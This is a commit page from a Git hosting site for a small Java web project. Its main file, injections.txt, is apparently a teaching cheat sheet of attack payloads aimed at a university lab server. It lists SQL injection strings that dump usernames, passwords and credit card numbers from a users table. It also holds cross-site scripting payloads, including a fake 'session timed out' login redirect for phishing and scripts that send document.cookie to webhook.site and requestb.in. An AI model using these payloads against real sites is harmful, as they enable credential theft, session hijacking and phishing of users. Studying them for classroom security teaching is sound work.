GitBucket
4.21.2
Toggle navigation
Snippets
Sign in
Files
Branches
1
Releases
Issues
Pull requests
Labels
Priorities
Milestones
Wiki
Forks
mark.george
/
jetty
Browse code
Recent minor modifications
master
1 parent
da24b32
commit
ddb47014bdd2036f8dbc4fc2b0f9ade3d4180e69
Mark George
authored
on 2 Jul 2021
Patch
Showing
3 changed files
README.txt
build.gradle
injections.txt
Ignore Space
Show notes
View
README.txt
0 → 100644
Build with: >gradle assemble WAR file is in build/libs Deploy WAR file to Tomcat.
Ignore Space
Show notes
View
build.gradle
plugins { id 'war' } repositories { jcenter() } dependencies { providedCompile 'javax.servlet:javax.servlet-api:3.1.0' implementation group: 'com.h2database', name: 'h2', version: '1.4.197' implementation group: 'org.owasp.antisamy', name: 'antisamy', version: '1.5.7' } sourceCompatibility = 1.8 targetCompatibility = 1.8
plugins { id 'war' } repositories { jcenter() } dependencies { compile 'javax.servlet:javax.servlet-api:3.1.0' implementation group: 'com.h2database', name: 'h2', version: '1.4.197' implementation group: 'org.owasp.antisamy', name: 'antisamy', version: '1.5.7' }
Ignore Space
Show notes
View
injections.txt
http://snafu.staff.uod.otago.ac.nz:8080/injection/ // basic injection ' or 1=1;-- // can we exfil data? 'or 1=1 union select 'WOOHOO!' from users order by name desc; -- // get entire users table 'or 1=1 union select group_concat(username||':'||password||':'||name||':'||credit_card) from users as name order by name desc; -- // change color food<script>document.body.style.backgroundColor='#FF0000'</script> // change back button food<br/><a href="https://i.chzbgr.com/maxW500/4554986496/hF3327748/">Back</a><!-- // fake login <script>alert('Session timed out. Please log in to continue.');window.location='http://snafu.staff.uod.otago.ac.nz:8080/injection/herephishyphishy.jsp'</script> // display cookies <script>alert(document.cookie)</script> // exfil cookies <script>window.location='https://webhook.site/c3300dea-ce9d-4860-879f-6320d4c24c43?'+document.cookie</script> // setting cookie via console document.cookie = "JSESSIONID=?" --disable-xss-auditor
http://snafu.staff.uod.otago.ac.nz:8080/injection/ // basic injection ' or 1=1;-- // can we exfil data? 'or 1=1 union select 'WOOHOO!' from users order by name desc; -- // get entire users table 'or 1=1 union select group_concat(username||':'||password||':'||name||':'||credit_card) from users as name order by name desc; -- // change color food<script>document.body.style.backgroundColor='#FF0000'</script> // change back button food<br/><a href="https://i.chzbgr.com/maxW500/4554986496/hF3327748/">Back</a><!-- // fake login <script>alert('Session timed out. Please log in to continue.');window.location='http://snafu.staff.uod.otago.ac.nz:8080/injection/herephishyphishy.jsp'</script> // display cookies <script>alert(document.cookie)</script> // send cookies to request.bin <script>window.location='https://requestb.in/1jledlk1?'+document.cookie</script> // setting cookie via console document.cookie = "JSESSIONID=?" --disable-xss-auditor
Show line notes below